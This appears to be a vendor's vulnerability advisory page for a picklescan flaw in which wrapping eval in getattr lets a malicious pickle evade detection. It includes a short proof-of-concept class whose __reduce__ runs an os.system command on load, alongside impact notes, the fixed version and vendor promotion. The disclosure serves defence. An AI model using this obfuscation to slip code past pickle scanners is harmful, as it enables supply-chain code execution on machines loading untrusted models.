GHSA-9m3x-qqw2-h32h
Fix: mmaitre314/picklescan#59GHSA-9m3x-qqw2-h32h is a Deserialization of Untrusted Data vulnerability in picklescan. O3 Security confirms whether GHSA-9m3x-qqw2-h32h is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
picklescan missing detection by simple obfuscation of a `builtins.eval` call
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An unsafe deserialization vulnerability allows any unauthenticated user to execute arbitrary code on the host loading a pickle payload from an untrusted source.
Details
It's possible to hide the eval call nested under another callable via getattr.
PoC
import builtins
class EvilClass:
@staticmethod
def _obfuscated_eval(payload):
getattr(builtins, "eval")(payload)
def __reduce__(self):
payload = "__import__('os').system('echo \"successful attack\"')"
return self._obfuscated_eval, (payload,)
Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files from untrusted sources.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files to system that load serialized ML models, APIs, or saved Python objects from untrusted sources.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 1.0.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 1.0.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9m3x-qqw2-h32h is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9m3x-qqw2-h32h is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9m3x-qqw2-h32h. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9m3x-qqw2-h32h in your dependencies?
O3 detects GHSA-9m3x-qqw2-h32h across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.